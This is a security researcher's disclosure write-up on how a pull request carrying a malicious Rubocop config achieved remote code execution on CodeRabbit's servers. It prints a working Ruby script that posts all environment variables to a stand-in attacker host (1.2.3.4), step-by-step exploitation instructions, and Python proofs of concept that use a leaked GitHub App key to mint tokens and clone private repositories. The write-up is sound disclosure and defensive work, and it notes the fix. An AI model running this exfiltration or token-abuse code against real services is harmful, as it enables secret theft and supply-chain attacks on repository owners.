How We Exploited CodeRabbit: From a Simple PR to RCE and Write Access on 1M Repositories
How We Exploited CodeRabbit: From a Simple PR to RCE and Write Access on 1M Repositories
In this blog post, we explain how we got remote code execution (RCE) on CodeRabbit’s production servers, leaked their API tokens and secrets, how we could have accessed their PostgreSQL database, and how we obtained read and write access to 1 million code repositories, including private ones.
This blog post is a detailed write-up of one of the vulnerabilities we disclosed at Black Hat USA this year. The details provided in this post are meant to demonstrate how these security issues can manifest and be exploited in the hopes that others can avoid similar issues. This is not meant to shame any particular vendor; it happens to everyone. Security is a process, and avoiding vulnerabilities takes constant vigilance.
Note: The security issues documented in this post were quickly remediated in January of 2025. We appreciate CodeRabbit’s swift action after we reported this security vulnerability. They reported to us that within hours, they addressed the issue and strengthened their overall security measures responding with the following:
- They confirmed the vulnerability and immediately began remediation, starting by disabling Rubocop until a fix was in place.
- All potentially impacted credentials and secrets were rotated within hours.
- A permanent fix was deployed to production, relocating Rubocop into their secure sandbox environment.
- They carried out a full audit of their systems to ensure no other services were running outside of sandbox protections, automated sandbox enforcement to prevent recurrence, and added hardened deployment gates.
More information from CodeRabbit on their response can be found here: https://www.coderabbit.ai/blog/our-response-to-the-january-2025-kudelski-security-vulnerability-disclosure-action-and-continuous-improvement
Introduction
Last December, I spoke at 38C3 in Hamburg and covered 2 security flaws I discovered in Qodo Merge. After getting off the stage, someone came to me and asked whether I had looked at other AI code review tools, such as CodeRabbit. I thanked them and said this would be a great target to have a look at. Fast forward a couple of weeks, and here I am, having a look at their security.
What is CodeRabbit?

CodeRabbit is an AI code review tool. Their website mentions it’s the most installed AI app on GitHub & Gitlab, with 1 million repositories in review and 5 million pull requests reviewed.

Indeed, CodeRabbit is the most installed GitHub app in the AI Assisted category on GitHub Marketplace. It is also on the first page of the most installed GitHub apps overall across all categories on GitHub Marketplace.

Once CodeRabbit is installed on a repository, every time a new pull request (PR) is created or updated, CodeRabbit will analyze the code changes in the PR and review them using AI. CodeRabbit will finally post its code review as a comment on the pull request, where the developer can read it.
This is a very useful developer productivity tool that can summarize PRs, find security issues in the code, suggest code improvements or even document the code or illustrate it by generating diagrams. It can save developers a lot of time.
Trying out CodeRabbit
CodeRabbit has multiple pricing plans, and one of them is called Pro. That one includes support for linters and SAST tools, such as Semgrep. Alternatively, there’s a free 14-day trial for the Pro plan. Also, the Pro plan comes for free for people working on open source projects.

I registered for the free trial and logged in using my GitHub account.

When first logging into CodeRabbit using GitHub, the application asks to install and authorize on a personal GitHub account. The user is asked to select which repositories CodeRabbit should be installed to. The user can also review the permissions that the CodeRabbit GitHub app will be granted. Namely, read and write access to code in the selected repositories.

At this point, this sounded very similar to what happened with Qodo Merge. I had to look into it. If somehow we could leak the GitHub API token, we would get read and write access to the repository in which CodeRabbit was installed.
I immediately created a private GitHub repository on my personal GitHub account and granted CodeRabbit access to that new repository so that it starts reviewing my PRs on that repo.
In order to get more familiar with CodeRabbit’s features and how to use them, I created a PR and saw that a comment containing a code review was posted by the CodeRabbit bot. Here are a few screenshots of what CodeRabbit generated.



Now that I had a better idea of how it worked, I could start looking for vulnerabilities.
Exploiting external tools
I had a look at the official CodeRabbit documentation and noticed that CodeRabbit supported running dozens of static analysis tools. These are the linters and SAST tools mentioned on the CodeRabbit pricing page discussed above.
CodeRabbit runs these tools on your PR changes depending on a few conditions:
- The tool is enabled in the CodeRabbit configuration
- The PR contains large enough changes to trigger a run of such tools. Small changes will be ignored and no tool will run on those
- The PR contains files supported by the tool. For example, PHPStan will only run on files with the
.php
extension
Some tools are enabled by default and will run if corresponding files exist. Otherwise, a .coderabbit.yaml
file placed in the repository can be used to configure which tools should be enabled. Alternatively, the CodeRabbit web app settings can be used to configure tools.
The documentation page also states that each tool can be configured by providing a path to a configuration file read by the tool. Now we’re talking!
Since CodeRabbit executes these external tools, if any of these tools have a way to inject code, we may be able to run arbitrary code. So I glanced over the list of supported tools and found an interesting target: Rubocop, a Ruby static analyzer. The CodeRabbit documentation page for Rubocop states that Rubocop will run on Ruby files (.rb
) in the repository. It also says that CodeRabbit will look for a .rubocop.yml
file anywhere in the repository and pass it to Rubocop.

Source: CodeRabbit documentation

Source: CodeRabbit documentation
Looking at Rubocop’s documentation, we see that it supports extensions. One can use the Rubocop configuration file to specify the path to an extension Ruby file, for example, ext.rb
, which will be loaded and executed by Rubocop. To do so, one can include the following snippet in .rubocop.yml
:
require:
- ./ext.rb
In ext.rb
, we can write arbitrary Ruby code that will be loaded and executed when Rubocop runs. We’ll use 1.2.3.4 as an example IP address that stands in for an attacker-controlled system. For example, the following Ruby script will collect the environment variables and send them to an attacker-controlled server at 1.2.3.4
:
require 'net/http'
require 'uri'
require 'json'
# Collect environment variables
env_vars = ENV.to_h
# Convert environment variables to JSON format
json_data = env_vars.to_json
# Define the URL to send the HTTP POST request
url = URI.parse('http://1.2.3.4/')
begin
# Create the HTTP POST request
http = Net::HTTP.new(url.host, url.port)
request = Net::HTTP::Post.new(url.path)
request['Content-Type'] = 'application/json'
request.body = json_data
# Send the request
response = http.request(request)
rescue StandardError => e
puts "An error occurred: #{e.message}"
end
Exploiting this is as simple as following these steps:
- Get a free trial on CodeRabbit and register using a personal GitHub account
- Create a private repository and grant CodeRabbit access to it, so that it reviews PRs on that repository
- Create a PR that contains the following files:
- A
.rubocop.yml
file as shown above - An
ext.rb
file as shown above - Any other large enough dummy Ruby file so that CodeRabbit triggers the execution of Rubocop and does not skip the file
- A
- Wait for CodeRabbit to perform the code review and run our malicious ext.rb file
- Collect the exfiltrated environment variables in the HTTP POST request received on our attacker-controlled server at 1.2.3.4
Here’s an illustration of our malicious pull request to better understand how it works:

An illustration of what the malicious pull request looks like
Unpacking what we found
After we created our malicious PR, CodeRabbit ran Rubocop on our code, which executed our malicious code and sent its environment variables to our server at 1.2.3.4.
On the server at 1.2.3.4
, the following JSON payload containing environment variables was received:
{
"ANTHROPIC_API_KEYS": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_FREE": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_OSS": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_PAID": "sk-ant-api03-(CENSORED)",
"ANTHROPIC_API_KEYS_TRIAL": "sk-ant-api03-(CENSORED)",
"APERTURE_AGENT_ADDRESS": "(CENSORED)",
"APERTURE_AGENT_KEY": "(CENSORED)",
"AST_GREP_ESSENTIALS": "ast-grep-essentials",
"AST_GREP_RULES_PATH": "/home/jailuser/ast-grep-rules",
"AWS_ACCESS_KEY_ID": "",
"AWS_REGION": "",
"AWS_SECRET_ACCESS_KEY": "",
"AZURE_GPT4OMINI_DEPLOYMENT_NAME": "",
"AZURE_GPT4O_DEPLOYMENT_NAME": "",
"AZURE_GPT4TURBO_DEPLOYMENT_NAME": "",
"AZURE_O1MINI_DEPLOYMENT_NAME": "",
"AZURE_O1_DEPLOYMENT_NAME": "",
"AZURE_OPENAI_API_KEY": "",
"AZURE_OPENAI_ENDPOINT": "",
"AZURE_OPENAI_ORG_ID": "",
"AZURE_OPENAI_PROJECT_ID": "",
"BITBUCKET_SERVER_BOT_TOKEN": "",
"BITBUCKET_SERVER_BOT_USERNAME": "",
"BITBUCKET_SERVER_URL": "",
"BITBUCKET_SERVER_WEBHOOK_SECRET": "",
"BUNDLER_ORIG_BUNDLER_VERSION": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_BUNDLE_BIN_PATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_BUNDLE_GEMFILE": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_GEM_HOME": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_GEM_PATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_MANPATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_PATH": "/pnpm:/usr/local/go/bin:/root/.local/bin:/swift/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"BUNDLER_ORIG_RB_USER_INSTALL": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_RUBYLIB": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"BUNDLER_ORIG_RUBYOPT": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
"CI": "true",
"CLOUD_API_URL": "https://(CENSORED)",
"CLOUD_RUN_TIMEOUT_SECONDS": "3600",
"CODEBASE_VERIFICATION": "true",
"CODERABBIT_API_KEY": "",
"CODERABBIT_API_URL": "https://(CENSORED)",
"COURIER_NOTIFICATION_AUTH_TOKEN": "(CENSORED)",
"COURIER_NOTIFICATION_ID": "(CENSORED)",
"DB_API_URL": " https://(CENSORED)",
"ENABLE_APERTURE": "true",
"ENABLE_DOCSTRINGS": "true",
"ENABLE_EVAL": "false",
"ENABLE_LEARNINGS": "",
"ENABLE_METRICS": "",
"ENCRYPTION_PASSWORD": "(CENSORED)",
"ENCRYPTION_SALT": "(CENSORED)",
"FIREBASE_DB_ID": "",
"FREE_UPGRADE_UNTIL": "2025-01-15",
"GH_WEBHOOK_SECRET": "(CENSORED)",
"GITHUB_APP_CLIENT_ID": "(CENSORED)",
"GITHUB_APP_CLIENT_SECRET": "(CENSORED)",
"GITHUB_APP_ID": "(CENSORED)",
"GITHUB_APP_NAME": "coderabbitai",
"GITHUB_APP_PEM_FILE": "-----BEGIN RSA PRIVATE KEY-----\n(CENSORED)-\n-----END RSA PRIVATE KEY-----\n",
"GITHUB_CONCURRENCY": "8",
"GITHUB_ENV": "",
"GITHUB_EVENT_NAME": "",
"GITHUB_TOKEN": "",
"GITLAB_BOT_TOKEN": "(CENSORED)",
"GITLAB_CONCURRENCY": "8",
"GITLAB_WEBHOOK_SECRET": "",
"HOME": "/root",
"ISSUE_PROCESSING_BATCH_SIZE": "30",
"ISSUE_PROCESSING_START_DATE": "2023-06-01",
"JAILUSER": "jailuser",
"JAILUSER_HOME_PATH": "/home/jailuser",
"JIRA_APP_ID": "(CENSORED)",
"JIRA_APP_SECRET": "(CENSORED)",
"JIRA_CLIENT_ID": "(CENSORED)",
"JIRA_DEV_CLIENT_ID": "(CENSORED)",
"JIRA_DEV_SECRET": "(CENSORED)",
"JIRA_HOST": "",
"JIRA_PAT": "",
"JIRA_SECRET": "(CENSORED)",
"JIRA_TOKEN_URL": "https://auth.atlassian.com/oauth/token",
"K_CONFIGURATION": "pr-reviewer-saas",
"K_REVISION": "pr-reviewer-saas-(CENSORED)",
"K_SERVICE": "pr-reviewer-saas",
"LANGCHAIN_API_KEY": "(CENSORED)",
"LANGCHAIN_PROJECT": "default",
"LANGCHAIN_TRACING_SAMPLING_RATE_CR": "50",
"LANGCHAIN_TRACING_V2": "true",
"LANGUAGETOOL_API_KEY": "(CENSORED)",
"LANGUAGETOOL_USERNAME": "(CENSORED)",
"LD_LIBRARY_PATH": "/usr/local/lib:/usr/lib:/lib:/usr/libexec/swift/5.10.1/usr/lib",
"LINEAR_PAT": "",
"LLM_PROVIDER": "",
"LLM_TIMEOUT": "300000",
"LOCAL": "false",
"NODE_ENV": "production",
"NODE_VERSION": "22.9.0",
"NPM_CONFIG_REGISTRY": "http://(CENSORED)",
"OAUTH2_CLIENT_ID": "",
"OAUTH2_CLIENT_SECRET": "",
"OAUTH2_ENDPOINT": "",
"OPENAI_API_KEYS": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_FREE": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_OSS": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_PAID": "sk-proj-(CENSORED)",
"OPENAI_API_KEYS_TRIAL": "sk-proj-(CENSORED)",
"OPENAI_BASE_URL": "",
"OPENAI_ORG_ID": "",
"OPENAI_PROJECT_ID": "",
"PATH": "/pnpm:/usr/local/go/bin:/root/.local/bin:/swift/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"PINECONE_API_KEY": "(CENSORED)",
"PINECONE_ENVIRONMENT": "us-central1-gcp",
"PNPM_HOME": "/pnpm",
"PORT": "8080",
"POSTGRESQL_DATABASE": "(CENSORED)",
"POSTGRESQL_HOST": "(CENSORED)",
"POSTGRESQL_PASSWORD": "(CENSORED)",
"POSTGRESQL_USER": "(CENSORED)",
"PWD": "/inmem/21/d277c149-9d6a-4dde-88cc-03f724b50e2d/home/jailuser/git",
"REVIEW_EVERYTHING": "false",
"ROOT_COLLECTION": "",
"SELF_HOSTED": "",
"SELF_HOSTED_KNOWLEDGE_BASE": "",
"SELF_HOSTED_KNOWLEDGE_BASE_BRANCH": "",
"SENTRY_DSN": "https://(CENSORED)",
"SERVICE_NAME": "pr-reviewer-saas",
"SHLVL": "0",
"TELEMETRY_COLLECTOR_URL": "https://(CENSORED)",
"TEMP_PATH": "/inmem",
"TINI_VERSION": "v0.19.0",
"TRPC_API_BASE_URL": "https://(CENSORED)",
"VECTOR_COLLECTION": "",
"YARN_VERSION": "1.22.22",
"_": "/usr/local/bin/rubocop"
}
That payload contained so many secrets that it actually took me a few minutes to grasp what we had gotten access to. The environment variables contained, notably:
- Anthropic API keys (free, oss, paid, trial, etc.)
- OpenAI API keys (free, oss, paid, trial, etc.)
- Aperture agent key
- Courier auth token
- Encryption password and salt
- Gitlab personal access token
- CodeRabbit GitHub App private key, app client id, app client secret, app id
- Jira secret
- Langchain/langsmith API key
- LanguageTool API key
- Pinecone API key
- PostgreSQL database host, username and password
Leaking environment variables is one thing, but since we obtained remote code execution (RCE) on that server, there is even more that an attacker could have done. Indeed, they could connect to the Postgres database server on the internal network. They could perform destructive operations. They could likely obtain the source code of the CodeRabbit app itself which is potentially somewhere in the Docker container where the external tool runs.
Before exploring the leaked environment variables further, we performed a few minimal reconnaissance operations, such as listing a few directories and reading the contents of a couple files on the production system, just to confirm the impacts. But this process was not really efficient and we were not able to quickly confirm the presence of the original source code of the CodeRabbit webapp there. However, the built application was there in the /app/pr-reviewer-saas/dist
directory.
Additionally, since this was a production server, we didn’t want to do anything that could disrupt the CodeRabbit service and decided to stop there.
But there was more. Let’s go back to the exfiltrated environment variables.
Getting Read/write access to 1M repositories
As mentioned above, one of the environment variables was named GITHUB_APP_PEM_FILE
and its value contained a private key. This is actually the private key of the CodeRabbit GitHub app. This private key can be used to authenticate to the GitHub REST API and act on behalf of the CodeRabbit GitHub app. Since users of CodeRabbit have granted CodeRabbit write access to their repositories, this private key gives us write access to 1 million repositories!
Let’s go through a few operations that one can perform with this private key.
Listing installations of the CodeRabbit app
As of writing, the CodeRabbit GitHub app was installed over 80’000 times. Basically, this tells us that at least that amount of GitHub personal accounts or organizations installed CodeRabbit and use it for at least one of their repositories. But these accounts may very well have granted access to more than one repository, or even all of their repositories.
The CodeRabbit website states that they review 1M repositories. These include GitHub repositories, but likely also repositories from other platforms that CodeRabbit supports, such as Gitlab, and on-premises git providers.
We will see below (see Proof of concept) how one can programatically list GitHub app installations using the GitHub API.
Listing GitHub repositories CodeRabbit has access to
For a given installation, one can list the GitHub repositories to which this installation has been granted access.
We can also see that the installation has read/write access to the code of the repository, among other permissions. For reference, this is the list of permissions the CodeRabbit app has on the repositories it has access to:
"permissions": {
"actions": "read",
"checks": "read",
"contents": "write",
"discussions": "read",
"issues": "write",
"members": "read",
"metadata": "read",
"pull_requests": "write",
"statuses": "write"
},
Note that these permissions are public information that anyone can see here.
Generating an access token valid for repositories that CodeRabbit has access to
A GitHub API access token can be created for the CodeRabbit app installation. This access token has all the permissions listed above and can be used on all the repositories the app installation has access to. It can be used to, for example, clone the repository or push git commits to it, since we not only have read access but also write access to the contents
. This can also be used to update GitHub releases, including the downloadable files (the assets), and replace them with malware and therefore serve malware directly from the targeted official GitHub repository.
The access token is valid for at most 10 minutes, but since we have the private key, more access tokens can be generated at any time, even if they expire.
Cloning private repositories CodeRabbit has access to
But this gets even scarier. Generated access tokens can also be used to clone private repositories (!) that the user has granted CodeRabbit access to. Indeed, as long as the user has granted CodeRabbit access to a repository, the private key can be used to access it. It doesn’t matter if it’s public or private.
Therefore, a malicious person could exploit the vulnerability to leak the CodeRabbit GitHub app private key, list all the installations, list each repository, generate an access token for each repository, and clone private repositories, serve malware from public repositories or manipulate the git history of a repository. This could be used to perform lateral movement and potentially leak GitHub repository secrets of the GitHub repository through GitHub actions if the targeted repository contains vulnerable GitHub actions.
Proof of concept
Here’s an example of how this can be achieved using the PyGitHub Python library, assuming that the private key is stored in a file called priv.pem
and that we have the app ID and client ID (also leaked from the environment variables):
#!/usr/bin/env python3
import json
import time
import jwt
import requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
app_id = "TODO_insert_app_id_here"
client_id = "Iv1.TODO_insert_client_id_here"
def gen_jwt():
payload = {
# Issued at time
'iat': int(time.time() - 60),
# JWT expiration time (10 minutes maximum)
'exp': int(time.time()) + 600 - 60,
# GitHub App's client ID
'iss': client_id
}
# Create JWT
encoded_jwt = jwt.encode(payload, signing_key, algorithm="RS256")
return encoded_jwt
def create_access_token(install_id, jwt):
response = requests.post(
f"https://api.github.com/app/installations/{install_id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt}",
"X-GitHub-Api-Version": "2022-11-28",
}
)
j = response.json()
access_token = j["token"]
return access_token
def auth():
auth = Auth.AppAuth(app_id, signing_key)
gi = GithubIntegration(auth=auth)
app = gi.get_app()
# iterate through app installations, get the first 5
for installation in gi.get_installations().reversed[:5]:
install_id = installation.id
# or access an installation by its ID directly
installation = gi.get_app_installation(install_id)
jwt = gen_jwt()
create_access_token(install_id, jwt)
# get all github repositories this installation has access to
repos = installation.get_repos()
for repo in repos:
full_name = repo.full_name
stars = repo.stargazers_count
html_url = repo.html_url
is_private_repo = repo.private
clone_url = f"https://x-access-token:{access_token}@github.com/{full_name}.git"
print(clone_url)
# repo can be cloned with "git clone {clone_url}"
# access token is valid for 10 minutes, but a new one can be generated whenever needed
if __name__ == "__main__":
auth()
Obviously, iterating through the list of all GitHub installations of the CodeRabbit app would have required making thousands of requests to the GitHub API on behalf of the production CodeRabbit GitHub app and this may have exceeded the API quota. We didn’t want to risk disrupting the production CodeRabbit service so we only iterated through a couple installations to confirm the PoC was working.
Leaking CodeRabbit’s private repositories
We mentioned earlier that we couldn’t confirm the presence of the original source code of CodeRabbit on the production Docker container. Well, since CodeRabbit eats their own dog food, they run CodeRabbit on their own GitHub repositories. We can therefore easily retrieve the app installation ID for their GitHub organization and list the repositories this app installation has access to.
This is the list of private repositories the coderabbitai GitHub organization has granted CodeRabbit access to:
- https://github.com/coderabbitai/mono
- https://github.com/coderabbitai/pr-reviewer-saas
- https://github.com/coderabbitai/e2e-reviewer
- https://github.com/coderabbitai/pr-reviewer-client
- https://github.com/coderabbitai/db-client
- https://github.com/coderabbitai/rabbits-lab
- https://github.com/coderabbitai/website
- https://github.com/coderabbitai/hubspot-reporting
To go further, one can generate an access token (as explained above) and clone these private repositories, including what looks like their monorepo (coderabbitai/mono
) or the coderabbitai/pr-reviewer-saas
repository.
Here’s the PoC to do this. Note that it’s similar to the above, except that we directly retrieve the app installation for a specific GitHub organization by its name, instead of iterating through all the installations:
#!/usr/bin/env python3
import time
import jwt
import requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
app_id = "CENSORED"
client_id = "CENSORED"
def gen_jwt():
payload = {
# Issued at time
'iat': int(time.time() - 60),
# JWT expiration time (10 minutes maximum)
'exp': int(time.time()) + 600 - 60,
# GitHub App's client ID
'iss': client_id
}
# Create JWT
encoded_jwt = jwt.encode(payload, signing_key, algorithm="RS256")
return encoded_jwt
def auth():
auth = Auth.AppAuth(app_id, signing_key)
gi = GithubIntegration(auth=auth)
# Target a specific Github organization that uses CodeRabbit
org = "coderabbitai"
installation = gi.get_org_installation(org)
# Target a specific Github user that uses CodeRabbit
# user = "amietn"
# installation = gi.get_user_installation(user)
print(installation.id)
gen_token = True
if gen_token:
jwt = gen_jwt()
response = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt}",
"X-GitHub-Api-Version": "2022-11-28",
}
)
j = response.json()
access_token = j["token"]
repos = installation.get_repos()
print("---repos---")
for repo in repos:
full_name = repo.full_name
html_url = repo.html_url
private = repo.private
if private:
print(f"* {full_name} ({private=}) - {html_url}")
if gen_token:
clone_url = f"https://x-access-token:{access_token}@github.com/{full_name}.git"
print(clone_url)
if __name__ == "__main__":
auth()
In a similar way, a malicious person could target not only a specific GitHub organization but also a specific GitHub personal account that uses CodeRabbit and access their private repositories and/or modify them.
As you can see, one can directly obtain the app installation ID for an organization or a user. So, this way there is no need to iterate through all the GitHub app installations to find a specific GitHub user or organization. Only the organization or user’s name is required.
Impacts summary
Let’s take a moment to summarize the impacts of getting write access to these 1 million repositories. A malicious person could have performed the following operations on affected repositories:
- Access private GitHub repositories nobody was ever supposed to access. This is a privacy breach.
- Modify the git history of affected GitHub repositories – Note that this can be a supply chain attack since GitHub repositories are often the source for building software before it’s distributed
- Modify existing GitHub releases and replace or add malicious downloadable files – Supply chain attack
- Further lateral moves to potentially leak GitHub repository secrets by exploiting existing vulnerable GitHub actions by pushing git commits – Note that since the CodeRabbit GitHub app doesn’t have write permission to workflows, GitHub actions can’t be directly modified. However, a vulnerable GitHub action may be exploited more easily with write access to the git repository. See the talk I gave at 38C3 for more details on how we found an instance where this was exploitable.
Additionally, we obtained RCE on the CodeRabbit production system. A malicious person could have performed destructive operations, caused a denial of service, or performed malicious operations on third party systems (see list of leaked secrets above).
Context is key
While running the exploit, CodeRabbit would still review our pull request and post a comment on the GitHub PR saying that it detected a critical security risk, yet the application would happily execute our code because it wouldn’t understand that this was actually running on their production system.

Remediation
CodeRabbit supports running dozens of external tools. These tools may get updates and new tools may be supported. Both cases may open the door to new ways of running arbitrary code. Therefore, trying to prevent arbitrary code execution through these tools sounds like an impossible task.
Instead, it would be best to assume that the user may be able to run untrusted code through these tools. So, running them in an isolated environment, with only the minimum information required to run the tools themselves, and not passing them any environment variables would be much better. Even if arbitrary code execution would be possible, the impact would be much less severe.
For defense in depth, one should add a mechanism that prevents sending private information to an attacker-controlled server. For example, only allow outgoing traffic to whitelisted hosts, if possible. If the tool doesn’t require internet access, then all network traffic may even be disabled in that isolated environment. This way it would make it harder for an attacker to exfiltrate secrets.
Responsible disclosure
After responsibly disclosing this critical vulnerability to the CodeRabbit team, we learned from them that they had an isolation mechanism in place, but Rubocop somehow was not running inside it. The CodeRabbit team was extremely responsive and acknowledged receipt of the disclosure the same day. They immediately disabled Rubocop and rotated the secrets and started working on a fix. The next week they told us that the vulnerability had been fixed. Kudos to the CodeRabbit team for responding promptly and fixing the issue.
Here is a summary of the disclosure timeline:
- January 24, 2025:
- Disclose vulnerability to CodeRabbit
- CodeRabbit acknowledges vulnerability and confirms they are working on a fix
- January 30, 2025:
- CodeRabbit confirms fix
Conclusions
In the end, we only provided PoCs and didn’t take things further. A patient attacker could have enumerated the available access, identified the highest value targets, and then attacked those targets to distribute malware to countless others in a larger supply chain attack. Security is hard, and a variety of factors can come together to create security issues. Being quick to respond and remediate, as the CodeRabbit team was, is a critical part of addressing vulnerabilities in modern, fast-moving environments. Other vendors we contacted never responded at all, and their products are still vulnerable.
In the race to bring AI-powered products to market, many companies prioritize speed over security. While rapid innovation is exciting, overlooking security can have catastrophic consequences, as we’ve seen. The solution isn’t to stop but to build security into the development process from day one. By making security a core priority, AI companies can create products that are not only groundbreaking but also resilient and responsible. After all, true innovation isn’t just about moving fast. It’s about building something resilient and safe for users.